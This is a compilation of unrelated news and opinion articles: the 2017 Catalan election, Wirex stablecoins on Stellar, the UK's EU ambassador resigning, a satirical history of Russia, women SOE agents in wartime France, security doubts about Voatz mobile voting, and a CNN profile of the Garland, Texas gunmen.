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Catalonia election: Puigdemont calls for talks with Spain Published duration 22 December 2017 Related Topics Catalonia independence protests image copyright Reuters image caption "Now is the time for dialogue," said Carles Puigdemont Catalonia's ousted leader, Carles Puigdemont, has called for new talks with Spain after separatist parties won a slim majority in a regional election. He said he wanted the negotiations in Brussels, where he is living in self-imposed exile, or another EU country. Spain's Prime Minister Mariano Rajoy later appeared to reject the idea. He said he would hold talks with the head of the new Catalan government but that leader would have to take up their post in Catalonia itself. He avoided naming Mr Puigdemont, adding that the winner of Thursday's election was Inés Arrimadas, the leader of the Citizens party, which wants Catalonia to remain a semi-autonomous part of Spain. The Citizens party is now the region's biggest party. although pro-independence parties are best placed to form a government. "Catalonia wants to be an independent state," said Mr Puigdemont, speaking in Belgium on Friday. "This is the wish of the Catalan people. I think the plan of [Spanish Prime Minister] Mariano Rajoy is not working, so we have to find new ways to tackle this crisis." Mr Rajoy's conservative Popular Party (PP) recorded its worst ever result in Thursday's vote. He had hoped that the poll would restore stability and said the Spanish government was "willing to talk in a realistic way and inside the law" with a future Catalan government. "I offer Catalonia this because we care about the people" he said. The Spanish government imposed direct rule on Catalonia and called the election after declaring an October independence referendum illegal. Mr Puigdemont has also called on the prime minister to repatriate all the police sent to Catalonia before the referendum. What were the results? With nearly all votes counted, the pro-independence parties Together for Catalonia (JxCat), Republican Left of Catalonia (ERC) and Popular Unity (CUP) were on course to win a total of 70 seats in total, giving them a majority in the new parliament. Citizens (Cs) had 25.3% of the vote, winning 37 seats in the 135-seat chamber. Its leader told the BBC her party had been "victorious". Ms Inés Arrimadas said forming a coalition would be "difficult - but we will try". The PP, meanwhile, won only three seats, down from 11 in the previous assembly. Turnout was more than 80%, a record for a Catalan regional election. Analysis: What the papers say By BBC Monitoring Leading Spanish newspapers say that the result has strengthened the government's position. "Nationalism can no longer claim that it exclusively represents Catalonia," says Madrid-based La Razón. ABC newspaper thinks Madrid should now settle the Catalan crisis. "If Spain wants to win this fight in the long term and prevent Catalonia from leaving one day, it should draft a serious plan for strengthening the state." The result seems to have split Catalan papers between those who want the independence project to continue, and those who accept the realpolitik of the election result. "The independence movement has humiliated the Spanish prime minister," El Nacional says. "The decisions that affect Catalonia are not made in Madrid." But Barcelona's El Periódico says the result means a "divided Catalonia". "The election that Mariano Rajoy called has shown that Catalonia is firmly divided in two blocs and there is hardly any space for intermediaries." La Vanguardia writes: "Major forces supporting independence should look back, confess to mistakes and avoid making them again," Why did the election take place? Separatists who dominated the previous Catalan parliament declared independence on 27 October after a referendum that was declared illegal by Spain. In an attempt to stop that referendum, Spanish police stormed some polling stations. However many voters defied the Spanish courts and riot police to cast their ballots. The move led to violent clashes with hundreds of people reported injured. According to referendum organisers, 90% of voters were in favour of independence, but fewer than half the region's electorate took part. image copyright Getty Images image caption Inés Arrimadas said she would try to form a coalition However, Mr Puigdemont decided it was enough to declare independence from Spain. Mr Rajoy then sacked the Catalan government, imposed direct rule and called the 21 December election. Prosecutors accused 13 Catalan separatist politicians of rebellion and sedition, including Mr Puigdemont and four others who fled to Belgium. Among the accused, two pro-independence politicians are in Spanish prisons, and six are being monitored while on bail. What has been the reaction? The European Commission said that its stance towards Catalonia remained the same, despite Thursday's election result. The executive arm of the EU has previously stated that events in Catalonia are an internal issue for Spain. "Our position on the question of Catalonia is well known and has been regularly restated, at all levels. It will not change," commission spokesman Alexander Winterstein told AFP news agency. "In relation to a regional election, we have no comment to make," he added. The Spanish government has not yet commented on the results. What happens now? Analysts say the success of separatist parties means that the ball is now back in the Spanish government's court. Antonio Barroso, of the London-based research firm Teneo Intelligence, says the problem for Madrid remains "and the secession movement is not going to go away". Correspondents say it is not yet clear whether Mr Puigdemont will be renamed president, and if so, if he will return from Belgium. As things stand, he faces arrest, should he enter Spain. image copyright Getty Images image caption Independence supporters celebrated in Barcelona Why do many Catalans want independence? Catalonia is one of Spain's wealthiest and most productive regions and has a distinct history dating back almost 1,000 years. Before the Spanish Civil War it enjoyed broad autonomy but that was suppressed under General Francisco Franco's dictatorship from 1939-75. When Franco died, the region was granted autonomy again under the 1978 constitution, and the region prospered along with the rest of the new, democratic Spain. A 2006 statute granted even greater powers, boosting Catalonia's financial clout and describing it as a "nation", but Spain's Constitutional Court reversed much of this in 2010. Recession and cuts in public spending fuelled local resentment, which coalesced in a powerful secessionist movement.

Wirex, a prominent UK’s FCA supported cryptocurrency remittance provider, has partnered with Stellar, bringing in its over 2 million users and more than 5000 business clients into the cryptocurrency project’s ecosystem. The surprising collaboration will see Wirex launch “26 fiat-backed stablecoins” on Stellar network, a crypto platform that also partnered with tech giant IBM. Stellar network is receiving different supports from big firms across the globe. The launch of Wirex Stablecoins on Stellar Network infers that the crypto platform is uniquely designed to also accommodate Stablecoins. While some analysts opined that Stablecoins are created to bring growth into the crypto space, they are becoming a solid way to reduce crypto volatility due to the fact that their value are pegged to fiat currency. For Low Cost and Almost Instant Across Border Remittance When Stellar-based Wirex stablecoins finally launches, they are going to be used to perfect low-cost and all most immediately cross-border remittance, just like the IBM Stablecoin which has received support from six respected international banks. First of its Kind in the Crypto Space This Wirex Stablecoins is going to be the first of its kind for many reasons. They are the maiden stablecoins to be spend easily in day to day dealings using Wirex Visa card. It is the first stablecoins to be pegged to different fiat currencies like USD, EUR, GBP, HKD and SGD with exchange at interbank rates. Similarly, it is the foremost stablecoins that can be easily exchanged with other virtual currencies at OTC rates. Importantly, it is the first stablecoins to be released by an FCA supported crypto and fiat payment firm. All these will propel the stablecoins when it is finally unveiled. Wirex’ Over 2 million Users and 5K business clients Added to Stellar (XLM) Ecosystem The advent of Wirex Stablecoins on Stellar network means the FCA-regulated company’s over 2 million Users and 5K business clients are to be added to the Stellar ecosystem. This is definitely going to propel the cryptocurrency project. Wirex has an outstanding user base. The number of people using the Wirex platform are enough to bring revolution to the Stellar (XLM) network. More Use Cases Than Expected. The stellar-based stablecoins have diverse use cases than one can imagine at the moment. Its functions in the business and retail arena indicate the partnership is the beginning of development for Stellar (XLM). The stellar-backed Wirex Stablecoins is unique for international remittance, and offers faster and cheaper alternatives to Mastercard and Visa. It offers immediate token issues and redemption, stands as the beginning of crypto adoption with its instant merchant settlement among other use cases.

Theresa May is expected to appoint an EU ambassador who “believes in Brexit” in the wake of the current Brussels representative's decision to quit after being cut adrift by Downing Street. Sir Ivan Rogers on Tuesday announced his resignation as Britain’s ambassador in Brussels after it was made clear Mrs May and her senior team had “lost confidence” in him over his “pessimistic” view of Brexit. Government sources made clear that Sir Ivan had “jumped before he was pushed” and that Number 10 believed his negative view of Brexit meant that he could not lead the negotiations after the Prime Minister triggers Article 50. In a 1,400-word resignation letter to his staff leaked on Tuesday night, Sir Ivan launched a thinly-veiled attack on the "muddled thinking" in Mrs May's Government.

Now that we’ve failed to use Russia’s corrupt and degenerating economy, subservience to the international banking system, and vulnerability to falling energy prices to pop Vladimir Putin like a zit, we’re going to have sit on our NATO, E.U., and OSCE duffs and take the long view of Russian imperialism. Fortunately the long view, while a desolate prospect, is also comforting in its way, if you aren’t a Russian. In the sixth century A.D. Russia was the middle of nowhere in the great Eurasian flat spot bounded by fuck-all on the north and east, barbarian hordes and the remains of the Byzantine Empire on the south, and the Dark Ages on the west. Wandering around in here, up and down the watershed of the Dnieper River from Novgorod (which hadn’t been built yet) to Kiev (ditto) were disorganized tribes of Slavic pastoral herdsmen herding whatever was available, pastorally. They were harried by Goths, Huns, Khazars, and other people who had the name and nature of outlaw motorcycle gangs long before the motorcycle was invented. The original Russian state, “Old Russia,” was established at Novgorod in A.D. 862 by marauding Vikings. They’d set off to discover Iceland, Greenland, and America, took a wrong turn, and wound up with their dragon boat stuck on a mud bar in the Dnieper. (Historians have their own theories, involving trade and colonization, but this sounds more likely.) The first ruler of Old Russia was the Viking Prince Ryurik. Imagine being so disorganized that you need marauding Vikings to found your nation—them with their battle axes, crazed pillaging, riotous Meade Hall feasts, and horns on their helmets. (Actually, Vikings didn’t wear horns on their helmets—but they would have if they’d thought of it, just like they would have worn meade helmets if they’d thought of it.) Some government it must have been. Viking Prince Ryurik: “Yah, let’s build Novgorod!” Viking Chieftain Sven: “Yah, so we can burn it down and loot!” The Russians weren’t converted to Christianity until A.D. 988—a thousand years late to “Peace be unto you” party, the basic principles of which still haven’t sunk in. (And maybe never had a chance to. Russia’s conversion came at the hands of St. Vladimir, Grand Prince of Kiev, who was reputed to maintain a harem of 800 concubines.) The death of St. Vladimir, and every other ruler of Old Russia, was followed by assassinations, mayhem, civil strife, and the other hallmarks of change in Russian leadership evident to the present day. Oxford historian Ronald Hingley notes that “the first and only Russian ruler to fashion an effective law of succession” was Tsar Paul I (1796-1801). Tsar Paul was assassinated. Anyway, things went along pretty well for almost 400 years. (Pretty well by Russian standards—a free peasant was known as a smerd, meaning “stinker.”) Then, in 1237, when the rest of the West was having a High Middle Ages and getting fecund for cultural rebirth, a Tatar horde invaded Russia. The Tatars were part of the Mongol Empire founded by Genghis Khan. They had a two-pronged invasion strategy: Kill everybody and steal everything. Kiev, Moscow, and most of Russia’s towns were obliterated. Tatar control—part occupation and part suzerainty over impotent, tribute-paying Russian principalities—lasted more than 200 years. The Russians have heroic stories about fighting off the Tatars, but in fact it seems like the Tatars gradually lost interest in the place and went off in a horde back to where they came from. Professor Hingley says the “Tatar Yoke” left Russia with “a model of extreme authoritarian rule combined with control through terror.” It also left Russia with a model of leadership best summarized by a passage from John Keegan’s A History of Warfare: “Genghis Khan, questioning his Mongol comrades-in-arms about life’s sweetest pleasure and being told it lay in falconry, replied, ‘You are mistaken. Man’s greatest good fortune is to chase and defeat his enemy, seize his total possessions, leave his married women weeping and wailing, ride his gelding [and] use the bodies of his women as a nightshirt and support.’” Why Putin wants Angela Merkel for a nightshirt is beyond me. But that’s a Russian dictator for you. Around the time Europe was getting a New World, Russia was getting tsars. Several were named Ivan, one more terrible than the next until we arrive at Ivan the Terrible in 1533. Ivan created a private force of five or six thousand thugs, the oprichnina, who wore black, rode black horses, and carried, as emblems of authority, a dog’s head and a broom. (The hammer and sickle of the day, presumably.) Oprichniks were entitled to rob and kill anyone, and did so with a will. Ivan suspected Novgorod of disloyalty, and the oprichnina spent five weeks in the city slaughtering thousands and driving thousands more into exile. Ivan presided over and sometimes personally performed the roasting, dismembering, and boiling alive of enemies and people who, left unboiled, might possibly become enemies. He killed his own son and heir by whacking him over the head with the monarchal staff in a tsar-ish fit of temper. He conducted a 24-year-long war against Sweden, Poland, Lithuania, and the Teutonic Knights, and lost. Russia’s economy was destroyed. Drought, famine, and plague beset the country. But Ivan put Russia on the map as an international player. He defeated what was left of the Tatars, mostly by conniving with leaders of what was left of the Tatars. He expanded Russian rule into Siberia, his success due to almost nobody being there. And, draw what parallels you will, Ivan the Terrible’s popularity rating was very high among the smerds. After his reign, Russia, if you can believe it, got worse. “The Time of Troubles” featured more drought, more famine, more plague, foreign invasions, massacres, the occupation and sacking of Moscow, and tsars with names like False Dmitry I and False Dmitry II. The population of Russia may have been reduced by as much as one-third. The remaining two-thirds reacted to increasing anarchy in traditional Russian fashion, by increasing autocracy. The Russians aren’t stupid. We’re talking about a country where chess is a spectator sport. Autocracy is just a Russian bad habit, like smoking three packs of cigarettes a day and drinking a liter of vodka. In 1613 the Romanov dynasty was installed, providing Russia with a range of talents from “Great” (Peter I, Catherine II) to “Late” (Ivan VI, Peter III, and Paul I killed in palace intrigues; Alexander II blown to bits by a terrorist bomb, and Nicholas II murdered with his family by the Bolsheviks). The Romanovs adhered to what Harvard historian Richard Pipes calls a “patrimonial” doctrine, meaning they owned Russia the way we own our house (except to hell with the mortgage). They owned everything. And everybody. The Romanov tsars imposed rigid serfdom just as that woeful institution was fading almost everywhere else. Russia never had a Renaissance, a Protestant Reformation, an Enlightenment, or much of an Industrial Revolution until the Soviet Union. Soviet industrialization produced such benefits to humanity as concrete worker housing built without level or plumb bob, the AK-47, MiG fighter jets, and proliferating nukes. (Although the only people the Soviets ever killed with a nuclear device was themselves at Chernobyl, located, perhaps not coincidentally, in what’s now Ukraine, for the time being at least.) Russia was out in the sticks of civilization, in a trailer park without knowledge of how to build a trailer. But Russia kept getting bigger, mostly by killing, oppressing, and annoying Russians. Peter the Great (1682-1725) led a military expedition against the Turkish fort of Azov that was a disaster. But Peter came right back and, getting more Russians killed, overwhelmed the Turks. The same thing happened in the Northern War against Sweden. Although it took 21 years after Peter ran away at the battle of Narva, Russia finally got a Baltic coastline. Which Peter didn’t know what to do with, so he built St. Petersburg in a swamp with conscripted serf labor. The number of Russian serfs who died building things in the swamp equaled the number Russian soldiers who died in the Northern War. Peter the Great raised taxes, made the Russian nobles shave their beards, and caused the death of his recalcitrant son and heir, like Ivan the Terrible did, but on purpose. Catherine the Great (1762-1796) doubled taxes on the Jews and declared they weren’t Russians, as if anyone would want to be. She was the first but not last leader of Russia to annex Crimea. NATO member alert, code red—she won two wars against Turkey and partitioned Poland. (Like Peter the Great on the Baltic, she got the swampy part.) Under Catherine, Russian settlements pushed all the way east into Alaska, the most valuable land Russia has occupied. (Annual GDP per capita, Alaska: $61,156. Annual GDP per capita, Russia: $14,037.) But—E.U. shame alert—when Russia was facing financial difficulties and geopolitical conflict, Tsar Alexander II was forced to sell Alaska to the United States in 1867 for 2 cents an acre. Later, as mentioned, Alexander got blown to bits. And that’s pretty much it for Russia’s Golden Age. After the 18th century, Russia devoted itself mostly to being big fat loserland, losing pace with the modern world, wars, Alaska, a communist utopia, a million victims of Stalin’s purges, 6 million victims of the famine of 1921, 8 million victims of the famine of 1932-33, a “Kitchen Debate” between Nikita Khrushchev and Richard Nixon, ICBMs in Cuba, the space race, the arms race, the Cold War, and finally, 14 independent countries that were once in the USSR. Napoleon actually won the war part of his war with Russia. If “General Winter” and the general tendency of Moscow to be periodically destroyed hadn’t, for once, sided with the Russian people, you’d be able to get a good bottle of Côte de Volga and a baguette in Smolensk today. Russia began a series of wars in the Caucasus that it has yet to win. In 1825, the Decembrists, a reform-minded group of military officers, staged a demonstration in favor of constitutional monarchy and were hanged for taking the trouble. Political oppression, censorship, spying, and secret police activity reached such a level of crime and punishment that Dostoyevsky himself was sentenced to death for belonging to a discussion group. He was standing in front of the firing squad when his sentence was commuted to exile in Siberia. (Whether to thank Tsar Nicolas I depends upon how weighty a summer reading list you’ve been given.) “Exiled to Siberia” says everything about Russian economic and social development in that land of mountains, lakes, and forests with a climate, in its lower latitudes, no worse than the rest of Russia’s. I’ve been across it on the Trans-Siberian Railroad. If this were America, the route from Irkutsk to Vladivostok would be lined with vacation homes and trendy shops, and “exiled to Siberia” would be translated as “exiled to Aspen.” Russia lost the 1853-56 Crimean War. NATO member alert, code green—Russia lost to Britain, France, and Turkey. In 1861 Tsar Alexander II freed 50 million serfs. If “freed” is the word that’s wanted. The serfs had no place to go except the land they were already farming, and if they wanted any of that, they had to buy it with the nothing they made as serfs. Later, as mentioned twice already, Alexander got blown to bits. Russia lost the Jews. Being robbed, beaten, and killed in pogroms was not a sufficient incentive to stay. More than a million Jews emigrated, taking what common sense the country had with them. Russia lost the 1904-05 Russo-Japanese War in the best Russian loser fashion at the naval battle of Tsushima. Japanese Admiral Togo Heihachiro “crossed the T” of the Russian fleet, a rare execution of a tactic where you get your ships in a horizontal line so that your guns can be aimed at the enemy, whose ships are in a vertical line so that their guns can’t be aimed at you. The Russian fleet was demolished. Eight battleships and most of the smaller ships were sunk. More than 5,000 Russian sailors died. Just three of 38 Russian vessels escaped to Vladivostok. Russia lost World War I, not an easy thing to do when you’re on the winning side. After the October 1917 Bolshevik Revolution, Russia was too much of a mess to keep fighting Germany. The Soviet government signed the Treaty of Brest-Litovsk surrendering Latvia, Lithuania, Estonia, Russian Poland, and Ukraine—containing in total a quarter of the population of Imperial Russia—to the Central Powers just eight months before the Central Powers had to surrender to everybody. Russia lost both sides of the 1917-22 Russian Civil War. The White Russians were losers. The Reds were total losers. We know how their revolution turned out. Russia might as well have lost World War II. Between 18 million and 24 million Russians died. That’s three times as many military and civilian casualties as Germany suffered. There must have been a better way to kill a bunch of Nazis running low on food and ammunition and stuck in frozen mud. Now, because of what he’s doing in Ukraine, Vladimir Putin has a higher smerd popularity rating than Ivan the Terrible or even Stalin. We certainly should have screwed him over. But Russian history is on our side. He’ll certainly screw himself.

One major contribution by the FANY to the work of the SOE was in Communications, in both Signals and Cipher departments, where they received intensive training on Morse code. Another major contribution was the FANY agents in the field: they worked mainly in France. Thirty-nine of the 50 women sent into France were FANYs, of whom 13 were captured and murdered by the Gestapo. Emma Mackey, dressed in 1940s French civilian costume, reads an extract from an interview with Agent Yvonne Cormeau. "After my husband was killed in November 1940 I joined up the WAAF and I put my little girl in a school in the country. "I had declared to them that I spoke German, Spanish and that I was fluent in French. This filtered through the Ministry and suddenly I was being interrogated to see if I was suitable for the SOE, I joined them in 1943. "After extensive radio operator training I was parachuted into France on the 22nd August, north-east of Bordeaux. "The reception committee consisted of five men from the resistance. Over the next year I hid in villages with no water, and was shot at by the gestapo, then one day myself and my group leader, codenamed Hilaire had our closest run in. "We were told that Germans were getting closer to where we were based, that they were coming from the two roads from the east and the west, so we took one due south hoping to escape them; we hadn’t gone 15 Kilometres when we came face to face with one personnel carrier. "They stopped us and told to get out of the car, then they put us in the ditch, with two soldiers in between us, both had a pistol, one in my back, one in Llias back. "The soldier in charge was telling somebody on the radio that he had stopped a tobacco inspector and a woman, the woman had a district nurse card on her and what was he to do with them. We waited and waited, my perspiration was coming down, the flies were sticking to it. "I couldn’t move because if we moved they would’ve shot immediately, therefore we waited. Then the crackle came up again on his radio. "He told the two soldiers to go away and he told us “get in the car” which we did at once. Then he suddenly asked me what was in the case that had been thrown on the backseat, which of course was my radio set. "I knelt on the seat and opened it for him, he asked me what it was and I said a German word that meant radio as well as X-ray and due to the fact that I had a district nurse card, he assumed it meant X-ray and let us get out. So we got out very fast, the engine was already running."

Some voters with disabilities will be able to cast their ballots on smart phones using blockchain technology for the first time in a U.S. election on Tuesday. But while election officials and mobile voting advocates say the technology has the potential to increase access to the ballot box, election technology experts are raising serious security concerns about the idea. The mobile voting system, a collaboration between Boston-based tech company Voatz, nonprofit Tusk Philanthropies and the National Cybersecurity Center, has previously been used for some military and overseas voters during test pilots in West Virginia, Denver and Utah County, Utah. Now, Utah County is expanding its program to include voters with disabilities in its municipal general election as well. Two Oregon counties, Jackson and Umatilla, will also pilot the system for military and overseas voters on Tuesday. The idea, according to Bradley Tusk, the startup consultant and philanthropist who is funding the pilots, is to increase voter turnout. “We can’t take on every interest group in Washington around the country and beat them, but I think what we can do is let the genie out of the bottle,” he says. After working in politics, Tusk built his name in the tech world developing Uber’s strategy of turning its customers into armies of grassroots lobbyists, getting them to advocate for the company they’d come to rely on. He hopes to use the same tactic with mobile voting. While Tusk has no financial stake in Voatz and says he is not committed to any particular technology, he believes mobile voting can work, and if he can convince enough Americans they want to vote on their cellphones, he says, those voters will put pressure on their officials to adopt the method. So far, the pilots have included very small numbers of voters, but election officials have deemed them successful. Officials in West Virginia, Denver and Utah County have been pleased with their outcomes and with the feedback they’ve received from voters. “The audit that we did on the votes that were cast in our primary came back very clean. So that gave me some more confidence in the system,” says Amelia Powers Gardner, the Utah county clerk/auditor. But as concerns around foreign interference in elections have increased since 2016, election security experts have warned against any electronic voting methods. The Senate Intelligence Committee released a report this summer on Russian election interference that highlighted the importance of paper ballots to securing America’s vote. “States should resist pushes for online voting,” the report read. It said that while ensuring access, particularly for military voters, is crucial, “no system of online voting has yet established itself as secure.” Independent experts agree. There is an overwhelming consensus in the election security community that mobile voting using blockchain technology—including Voatz—is not yet a reliable system, according to Mark Lindeman, senior science and technology policy officer at Verified Voting, a nonprofit that advocates for the accuracy, integrity and verifiability of elections. “We think it’s great that election officials are are trying bold innovations to help people vote. But we think this bold innovation isn’t ready for prime time,” he says. To use the Voatz system, voters download the Voatz app onto their iPhone or Android smartphone. They then scan their fingerprint and government-issued ID and take a “video selfie” to authenticate their identity before they can tap the screen to mark their digital ballot. (Voatz says it deletes the ID and facial scans soon after they are used.) After casting their vote, the voter receives an emailed receipt of their ballot to confirm their choices were marked correctly. Election officials at the voter’s jurisdiction also receive a separate copy of that receipt, either through secure email, eFax or by logging into the the blockchain “lock box,” according to Voatz. The votes themselves are stored in the blockchain until Election Day, when election officials log into the “lock box” portal and print out the ballots. This process is much quicker and potentially more secure than how military and overseas voters currently cast their ballots, Powers Gardner says. While laws can vary by state, Americans living overseas typically cast their votes through paper mail, fax or in many cases unsecured email. Sending mail internationally is not always reliable and can take weeks, while emailed votes are vulnerable to hacking and require overseas or military voters to waive their right to a private ballot. For disabled voters, casting a ballot on their smartphones could potentially be a game-changer, says Michelle Bishop, the voting rights specialist at the National Disability Rights Network. Right now, people with disabilities face obstacles at every part of the voting process. While the Americans with Disabilities Act technically requires that people with disabilities have access to public services, programs and activities such as voting, it’s not well enforced. And even when polling places do have functioning accessible voting machines, there might be other impediments such as steps to get into the building or poll workers who don’t know how to work the accessible machine. When the Government Accountability Office examined polling place accessibility after the 2016 election, it found only 17% of polling places reviewed had no impediments outside or inside the voting area. “That’s horrifying and abysmal,” Bishop says. Meanwhile, more and more people have smartphones, and mobile technology has done a good job of introducing accessible features. Phones allow users to zoom in on their screens, increase text size, read the screen’s content aloud and operate the device through voice commands, all of which can help voters with a range of disabilities. The National Disability Rights Network does not endorse any particular voting technology, but Bishop described Voatz and other applications like it as “incredibly promising.” Still, she takes the security concerns seriously. “Voters with disabilities want elections to be accurate and fair and secure and for the process to have integrity as much as any other voter,” Bishop says. “I believe in testing and certification. I believe in piloting these kinds of technologies towards that end to see if it’s going to work for accessibility purposes and to make sure we can secure it.” The problem, security experts say, is that it’s nearly impossible for third parties to verify that the Voatz system is secure and accurate with the level of information the company has released. Voatz published an eight-page white paper after its West Virginia pilot in 2018, but it did not name the four independent security auditors it said evaluated the pilot or go into detail about what information auditors could access, what vulnerabilities they found and whether those were fixed. More detailed reports came out after the Denver and first Utah County pilots this summer, but those still don’t provide a full picture, experts say. While Voatz co-founder and CEO Nimit Sawhney says that his system is the first that “enables end-to-end auditability and verifiability in a remote voting scenario,” other elections experts dispute this. To audit the votes cast on Voatz, election officials print out a “paper ballot” and compare it to a copy of the “voter-verified digital receipts” created when the votes were submitted. Officials can compare these to the results of the tabulation and to the information stored in the blockchain. “So what’s missing? Almost everything,” says Verified Voting’s Mark Lindeman. “We don’t actually have any way of knowing that what the voter looked at is the same thing as what the Secretary of State’s office looked at. That’s that’s just not what voter verification means.” Voatz also touts its use of blockchain as an additional security measure because the votes are stored in geographically distributed servers rather than all in one place. But experts say this provides little comfort. “Blockchain is the buzzword of the moment,” says Duncan Buell, a professor of computer science at University of South Carolina who has studied voting technologies and co-authored a paper in May detailing the many concerns that election experts have about Voatz. “Everybody regardless of what they’re doing, are going to claim they’re doing blockchain because that’s going to make it sound sexy and exciting and shiny.” Tusk Philanthropies, for their part, hired outside security experts to review Voatz’s audits and security procedures. Andre McGregor, co-founder of ShiftState Security, told TIME he and his team spent about three weeks reviewing Voatz after the West Virginia pilot, and that he is scheduled to do another review before the end of the year. “The findings have been good,” McGregor said. Voatz has also been working with the Department of Homeland Security to conduct tests of its system, and Sawhney says the company plans to release more detailed information about these tests and its software in the coming months. He understands the need for questions about security, he says, but adds that as a private company he also has to protect his intellectual property. In the meantime, elections experts, government officials and disability advocates are left navigating the tension between accessibility and security—something that is only going to increase as the 2020 election approaches. “What we haven’t solved in any context is how to make verification itself accessible,” Lindeman says. “And we need to keep wrestling with it as a really hard problem that deserves good solutions. I don’t have the solution. I just know I haven’t seen it yet.” Get our Politics Newsletter. The headlines out of Washington never seem to slow. Subscribe to The D.C. Brief to make sense of what matters most. Please enter a valid email address. Sign Up Now Check the box if you do not wish to receive promotional offers via email from TIME. You can unsubscribe at any time. By signing up you are agreeing to our Terms of Use and Privacy Policy . This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply. Thank you! For your security, we've sent a confirmation email to the address you entered. Click the link to confirm your subscription and begin receiving our newsletters. If you don't get the confirmation within 10 minutes, please check your spam folder. Write to Abigail Abrams at [email protected].

(CNN) Whatever spurred Elton Simpson and Nadir Soofi to drive across two states to shoot up a Prophet Mohammed cartoon contest is lost on their families, their neighbors and the place they had worshipped. One was a described as "gentle person," albeit one who had been convicted of a terror-related charge and supported an ISIS propagandist. The other was a father who had "put his son above everything" -- until the day he and his roommate opened fire at the event in Garland, Texas, wounding a security guard before police shot and killed the gunmen Here's what we know about the attackers: ELTON SIMPSON He may have been an ISIS supporter While U.S. authorities investigate whether Sunday's shooting has any link to international terrorism, ISIS claimed responsibility for the attack In a radio broadcast, ISIS referred to Simpson and Soofi as two of its "soldiers" and and threatened more attacks. But it's unclear whether the terror group in Iraq and Syria actually had contact with Simpson or Soofi, who both lived in Phoenix. JUST WATCHED Gunmen opened fire at Mohammed cartoon event Replay More Videos ... MUST WATCH Gunmen opened fire at Mohammed cartoon event 02:07 Moments before the shootout, Simpson posted an ominous tweet with the hashtag #texasattack: "May Allah accept us as mujahideen." The tweet also said Simpson and his fellow attacker had pledged allegiance to "Amirul Mu'mineen," which means "the leader of the faithful." CNN terrorism analyst Paul Cruickshank said that probably refers to ISIS leader Abu Bakr al Baghdadi. Earlier, Simpson had asked his readers on Twitter to follow an ISIS propagandist. After the shooting, the same propagandist tweeted: "Allahu Akbar!!!! 2 of our brothers just opened fire." Both Twitter accounts have been deactivated. He has a rap sheet In 2011, Simpson was convicted of making a false statement involving international and domestic terrorism. Prosecutors said he told FBI agents that he had not discussed traveling to Somalia to engage in "violent jihad" -- when, in fact, he had, according to an indictment. Simpson was sentenced to three years of probation, court records show. His former lawyer, Kristina Sitton, told CNN that Simpson ended up on the federal no-fly list. In fact, he contacted her once after trying to get on a plane at a Phoenix airport, only to be turned away. He was a 'very devout Muslim' That's according to Sitton, who spent many hours over about two years in her office with Simpson while representing him in the Somalia case. When the meetings ran long, the attorney recalled Simpson asking to leave to pray somewhere quiet. "He was a very devout Muslim," said Sitton, who sensed Simpson was trying to convert her and her staffers but never saw him as a threat. "... I can tell you with absolute certainty that I didn't observe anything that had anything to do with radicalization." In fact, Sitton said, "there were no signs" that Simpson would pull off an attack like the one in Garland. "He was a very kind-hearted, respectful young man," the lawyer added. "He always treated me with respect." He had 'a good demeanor' That view was seconded by the president of the Islamic Community Center of Phoenix, where both Simpson and Soofi worshiped. Usama Shami said Simpson came regularly until around 2010 or 2011, about the time the FBI arrested him on the false statement charges. Soofi came less frequently. Simpson "was a gentle person," Shami said. "He always had a good attitude, a good demeanor." Like others at the mosque, Shami said he was stunned to hear about the attack Sunday night. "They didn't show any signs of radicalization or any signs of even thinking about those things in that manner," he said. "So when that happens, it just shocks you. 'How good did you know these people?' That's the question that people ask themselves." His family is stunned, too On top of their grief, Simpson's relatives are struggling to come to terms with his involvement in the attack. "We send our prayers to everyone affected by this act of senseless violence, especially the security guard who was injured in the line of duty," Simpson's family said in a statement. "We are sure many people in this country are curious to know if we had any idea of Elton's plans. To that we say, without question, we did not. Just like everyone in our beautiful country, we are struggling to understand how this could happen. ... We are heartbroken and in a state of deep shock as we grieve." He and Soofi were roommates Their neighbors in Phoenix said they had no clue about what Simpson and Soofi were plotting to do. Ariel Whitlock was actually about to buy a car from Simpson. She was horrified to see the same black Chevrolet Cobalt, damaged from the attack, on the news. JUST WATCHED Were Texas shooters self-radicalized? Replay More Videos ... MUST WATCH Were Texas shooters self-radicalized? 02:08 "I'm getting goose bumps thinking about it right now just because I wanted to buy that car," she told CNN's Kyung Lah. "On the news, I see it, it's just blown up. I'm like, 'I was going to purchase that car.' " Whitlock said she's sickened by the possibility that, had she bought the car, the money could have gone to fund an attack. "Maybe he's just gonna go plot something and you're giving the money to help him go plot something," she said. "It's just crazy." NADIR SOOFI He died near where he was born Soofi was born in Garland and spent the first three years of his life there, his mother said, according to The Dallas Morning News JUST WATCHED Traffic officer praised for thwarting Texas attack Replay More Videos ... MUST WATCH Traffic officer praised for thwarting Texas attack 02:15 "He was raised in a normal American fashion," Sharon Soofi said. "Yes, he was very politically involved with the Middle East. Just aware of what's going on. I don't know if something snapped or if Elton Simpson was just working on him." He left behind an 8-year-old son Sharon Soofi also said her son had an 8-year-old boy whom he adored. "He put his son above everything," she said . "The hard thing to comprehend is why he would do this and leave an 8-year-old son behind." He went to a prestigious private school Soofi's father is Pakistani, and his mother is American, a source with knowledge of the family told CNN. After his parents divorced, Soofi and his brother moved to the United States in 1998 to live with their mother and gradually lost touch with many of their friends in Pakistan , the source said. In the 1990s, Soofi attended a prestigious private school in Islamabad. He wasn't on the FBI's radar Unlike Simpson, who had been convicted of a terror-related charge, Soofi was relatively unknown to federal investigators, a law enforcement official told CNN. Authorities knew of no indication the two planned to launch Sunday's attack, another law enforcement official said. He had asked for forgiveness Soofi's Facebook page reveals strong opinions, but no call to violence. But a note from four years ago shows he asked Allah for forgiveness for every sin -- both intentional and unintentional. He was a helpful neighbor Tim Rains remembers Soofi helping him when he had a heart condition about a year ago. JUST WATCHED Cartoon contest organizer defends decision to hold event Replay More Videos ... MUST WATCH Cartoon contest organizer defends decision to hold event 02:07 As Rains was coming home, he collapsed on a stairwell. Soofi noticed. "He seen all that, and he came over and offered me help," Rains said. So how does he reconcile the notion that his neighbor also tried to shoot people in Texas? "Oh, it's easy, everybody has a good side to them," Rains said. "If you see somebody hurting like that, you're going to help them. I think he went to Texas to shoot people for a reason."

